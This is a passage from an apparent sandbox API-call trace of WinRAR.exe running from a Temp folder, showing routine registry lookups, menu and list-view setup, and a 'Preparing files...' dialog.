GetFileAttributesW (lpFileName="Desktop.zip" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.zip")) returned 0xffffffff [0060.740] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414f8630 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.zip" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.zip")) returned 0xffffffff [0060.740] FindFirstFileW (in: lpFileName="Desktop.rar", lpFindFileData=0xe414fa710 | out: lpFindFileData=0xe414fa710) returned 0xffffffffffffffff [0060.740] GetLastError () returned 0x2 [0060.740] SetLastError (dwErrCode=0x2) [0060.740] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f78b0 | out: phkResult=0xe414f78b0*=0x0) returned 0x2 [0060.741] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0060.741] GetLastError () returned 0x2 [0060.741] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414ea6b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0060.741] GetLastError () returned 0x2 [0060.741] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.742] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414f0ed0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.742] SendMessageW (hWnd=0x1025a, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0060.742] GetMenu (hWnd=0x1025a) returned 0x10260 [0060.742] GetSubMenu (hMenu=0x10260, nPos=4) returned 0x1026c [0060.742] GetSubMenu (hMenu=0x1026c, nPos=5) returned 0x10274 [0060.742] DeleteMenu (hMenu=0x10274, uPosition=0x41a, uFlags=0x0) returned 0 [0060.742] CheckMenuItem (hMenu=0x10274, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0060.742] GetLastError () returned 0x2 [0060.742] SetLastError (dwErrCode=0x2) [0060.742] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f5940 | out: phkResult=0xe414f5940*=0x0) returned 0x2 [0060.742] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xe414f6620 | out: phkResult=0xe414f6620*=0x0) returned 0x2 [0060.742] SHGetMalloc (in: ppMalloc=0xe414f65c0 | out: ppMalloc=0xe414f65c0*=0x7ff92fcdf3f0) returned 0x0 [0060.742] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xe414f6608 | out: ppidl=0xe414f6608) returned 0x0 [0060.742] SHGetPathFromIDListW (in: pidl=0x1ec0a64fef0, pszPath=0xe414f7a70 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.743] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1ec0a64fef0) [0060.743] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0060.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0060.743] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe414f7a70, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.743] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8e) returned 0x1ec0a642de0 [0060.743] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x51d0) returned 0x1ec0a64fef0 [0060.743] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0xe414f32c0 | out: lpFindFileData=0xe414f32c0) returned 0xffffffffffffffff [0060.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0xe414f32c0 | out: lpFindFileData=0xe414f32c0) returned 0xffffffffffffffff [0060.743] GetLastError () returned 0x3 [0060.744] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1010) returned 0x1ec0a6550d0 [0060.744] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0xe414f32c0 | out: lpFindFileData=0xe414f32c0) returned 0xffffffffffffffff [0060.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0xe414f32c0 | out: lpFindFileData=0xe414f32c0) returned 0xffffffffffffffff [0060.744] GetLastError () returned 0x3 [0060.744] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6550d0 | out: hHeap=0x1ec0a590000) returned 1 [0060.744] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64fef0 | out: hHeap=0x1ec0a590000) returned 1 [0060.744] DrawMenuBar (hWnd=0x1025a) returned 1 [0060.744] NtdllDefWindowProc_W () returned 0x0 [0060.744] NtdllDefWindowProc_W () returned 0x0 [0060.744] NtdllDefWindowProc_W () returned 0x1 [0060.745] NtdllDefWindowProc_W () returned 0x0 [0060.745] NtdllDefWindowProc_W () returned 0x1 [0060.745] CheckMenuItem (hMenu=0x10274, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0060.745] GetLastError () returned 0x3 [0060.745] SetLastError (dwErrCode=0x3) [0060.746] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x1ec00020006, lpSecurityAttributes=0x0, phkResult=0xe414f5938, lpdwDisposition=0xe414f5930 | out: phkResult=0xe414f5938*=0x300, lpdwDisposition=0xe414f5930*=0x1) returned 0x0 [0060.746] RegSetValueExW (in: hKey=0x300, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0060.746] RegCloseKey (hKey=0x300) returned 0x0 [0060.746] GetLastError () returned 0x3 [0060.746] SetLastError (dwErrCode=0x3) [0060.746] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x1ec00020006, lpSecurityAttributes=0x0, phkResult=0xe414f5938, lpdwDisposition=0xe414f5930 | out: phkResult=0xe414f5938*=0x300, lpdwDisposition=0xe414f5930*=0x2) returned 0x0 [0060.746] RegSetValueExW (in: hKey=0x300, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0060.746] RegCloseKey (hKey=0x300) returned 0x0 [0060.747] GetLastError () returned 0x3 [0060.747] SetLastError (dwErrCode=0x3) [0060.747] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.747] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414fb280 | out: lpRect=0xe414fb280) returned 1 [0060.747] CreateWindowExW (dwExStyle=0x300, lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x1025a, hMenu=0xb, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x3027e [0060.750] NtdllDefWindowProc_W () returned 0x2 [0060.750] NtdllDefWindowProc_W () returned 0x0 [0060.774] NtdllDefWindowProc_W () returned 0x0 [0060.774] GetLastError () returned 0x0 [0060.774] SetLastError (dwErrCode=0x0) [0060.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.774] GetMenu (hWnd=0x1025a) returned 0x10260 [0060.774] GetSubMenu (hMenu=0x10260, nPos=4) returned 0x1026c [0060.774] GetSubMenu (hMenu=0x1026c, nPos=3) returned 0x10270 [0060.774] CheckMenuItem (hMenu=0x10270, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0060.774] CheckMenuItem (hMenu=0x10270, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0060.774] GetWindowLongPtrW (hWnd=0x3027e, nIndex=-16) returned 0x44300249 [0060.774] GetLastError () returned 0x0 [0060.774] SetLastError (dwErrCode=0x0) [0060.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.774] GetLastError () returned 0x0 [0060.774] SetLastError (dwErrCode=0x0) [0060.774] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.775] GetLastError () returned 0x0 [0060.775] SetLastError (dwErrCode=0x0) [0060.775] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.775] GetLastError () returned 0x0 [0060.775] SetLastError (dwErrCode=0x0) [0060.775] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fad30 | out: phkResult=0xe414fad30*=0x0) returned 0x2 [0060.775] SendMessageW (hWnd=0x3027e, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0060.776] GetLastError () returned 0x0 [0060.776] SetLastError (dwErrCode=0x0) [0060.776] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa4a0 | out: phkResult=0xe414fa4a0*=0x0) returned 0x2 [0060.776] SendMessageW (hWnd=0x3027e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0060.778] GetVersionExW (in: lpVersionInformation=0xe414faff0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0xe414faff0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0060.778] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0060.779] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0060.779] SendMessageW (hWnd=0x3027e, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetMenu (hWnd=0x1025a) returned 0x10260 [0060.779] CheckMenuItem (hMenu=0x10260, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.779] SetLastError (dwErrCode=0x6) [0060.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.779] GetLastError () returned 0x6 [0060.780] SetLastError (dwErrCode=0x6) [0060.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.780] GetLastError () returned 0x6 [0060.780] SetLastError (dwErrCode=0x6) [0060.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.780] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6e, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0060.780] SendMessageW (hWnd=0x3027e, Msg=0x1061, wParam=0x0, lParam=0xe414fb150) returned 0x0 [0060.780] GetLastError () returned 0x6 [0060.780] SetLastError (dwErrCode=0x6) [0060.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.780] GetLastError () returned 0x6 [0060.780] SetLastError (dwErrCode=0x6) [0060.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.780] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6f, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0060.780] SendMessageW (hWnd=0x3027e, Msg=0x1061, wParam=0x1, lParam=0xe414fb150) returned 0x1 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.781] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x70, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0060.781] SendMessageW (hWnd=0x3027e, Msg=0x1061, wParam=0x2, lParam=0xe414fb150) returned 0x2 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.781] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x72, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0060.781] SendMessageW (hWnd=0x3027e, Msg=0x1061, wParam=0x3, lParam=0xe414fb150) returned 0x3 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.781] GetLastError () returned 0x6 [0060.781] SetLastError (dwErrCode=0x6) [0060.781] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.782] GetLastError () returned 0x6 [0060.782] SetLastError (dwErrCode=0x6) [0060.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.782] GetLastError () returned 0x6 [0060.782] SetLastError (dwErrCode=0x6) [0060.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0xe414facb0 | out: phkResult=0xe414facb0*=0x0) returned 0x2 [0060.782] SendMessageW (hWnd=0x3027e, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x10280 [0060.782] SendMessageW (hWnd=0x3027e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0060.782] GetClientRect (in: hWnd=0x1025a, lpRect=0xe414fb180 | out: lpRect=0xe414fb180) returned 1 [0060.782] GetWindowRect (in: hWnd=0x0, lpRect=0xe414fb120 | out: lpRect=0xe414fb120) returned 0 [0060.782] GetWindowRect (in: hWnd=0x0, lpRect=0xe414fb120 | out: lpRect=0xe414fb120) returned 0 [0060.782] MoveWindow (hWnd=0x3027e, X=0, Y=566, nWidth=1064, nHeight=-567, bRepaint=1) returned 1 [0060.783] ShowWindow (hWnd=0x3027e, nCmdShow=5) returned 0 [0060.786] GetMenu (hWnd=0x1025a) returned 0x10260 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0060.786] EnableMenuItem (hMenu=0x10260, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0060.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0060.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0060.786] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0xe414f3f90 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.786] GetLastError () returned 0x578 [0060.786] SetLastError (dwErrCode=0x578) [0060.787] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f2200 | out: phkResult=0xe414f2200*=0x0) returned 0x2 [0060.787] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0xe414f2f40, nSize=0x800 | out: lpDst="") returned 0x1 [0060.787] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.787] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414f3ef0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0060.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar")) returned 0xffffffff [0060.787] AllocateAndInitializeSid (in: pIdentifierAuthority=0xe414f5f60, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xe414f5f58 | out: pSid=0xe414f5f58*=0x1ec0a64ba70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0060.787] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1ec0a64ba70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xe414f5f50 | out: IsMember=0xe414f5f50) returned 1 [0060.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0060.788] QueryPerformanceCounter (in: lpPerformanceCount=0xe414f5cc0 | out: lpPerformanceCount=0xe414f5cc0*=15211619882) returned 1 [0060.788] IsAppThemed () returned 0x1 [0060.788] IsThemeActive () returned 0x1 [0060.788] GetLastError () returned 0x0 [0060.788] SetLastError (dwErrCode=0x0) [0060.788] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f5840 | out: phkResult=0xe414f5840*=0x304) returned 0x0 [0060.788] RegQueryValueExW (in: hKey=0x304, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0xe414f5ca4, lpData=0xe414f5ca0, lpcbData=0xe414f5cd8*=0x4 | out: lpType=0xe414f5ca4*=0x0, lpData=0xe414f5ca0*=0x1, lpcbData=0xe414f5cd8*=0x4) returned 0x2 [0060.788] RegCloseKey (hKey=0x304) returned 0x0 [0060.788] GetLastError () returned 0x0 [0060.788] SetLastError (dwErrCode=0x0) [0060.788] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f5840 | out: phkResult=0xe414f5840*=0x304) returned 0x0 [0060.788] RegQueryValueExW (in: hKey=0x304, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0xe414f5ca4, lpData=0xe414f5ca0, lpcbData=0xe414f5cd8*=0x4 | out: lpType=0xe414f5ca4*=0x0, lpData=0xe414f5ca0*=0x1, lpcbData=0xe414f5cd8*=0x4) returned 0x2 [0060.788] RegCloseKey (hKey=0x304) returned 0x0 [0060.788] FindResourceW (hModule=0x7ff6f74d0000, lpName="CMDWNDADD", lpType=0x5) returned 0x7ff6f76c35c8 [0060.788] LoadResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x7ff6f778a010 [0060.788] SizeofResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x414 [0060.788] CreateDialogIndirectParamW (hInstance=0x7ff6f74d0000, lpTemplate=0x1ec0a653b40, hWndParent=0x0, lpDialogFunc=0x7ff6f75968c4, dwInitParam=0x0) returned 0x10284 [0060.832] GetWindowRect (in: hWnd=0x10284, lpRect=0xe414f2688 | out: lpRect=0xe414f2688) returned 1 [0060.832] GetClientRect (in: hWnd=0x10284, lpRect=0xe414f26a8 | out: lpRect=0xe414f26a8) returned 1 [0060.832] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0060.832] SetWindowTextW (hWnd=0x10284, lpString="Preparing files...") returned 1 [0060.833] GetSystemMetrics (nIndex=8) returned 3 [0060.833] GetWindow (hWnd=0x10284, uCmd=0x5) returned 0x10286 [0060.833] GetWindowTextW (in: hWnd=0x10286, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x10286, uCmd=0x2) returned 0x10288 [0060.833] GetWindowTextW (in: hWnd=0x10288, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x10288, uCmd=0x2) returned 0x1028a [0060.833] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x1028a, uCmd=0x2) returned 0x1028c [0060.833] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 [0060.833] GetWindow (hWnd=0x1028c, uCmd=0x2) returned 0x1028e [0060.833] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414f26d0, nMaxCount=1024 | out: lpString="") returned 0 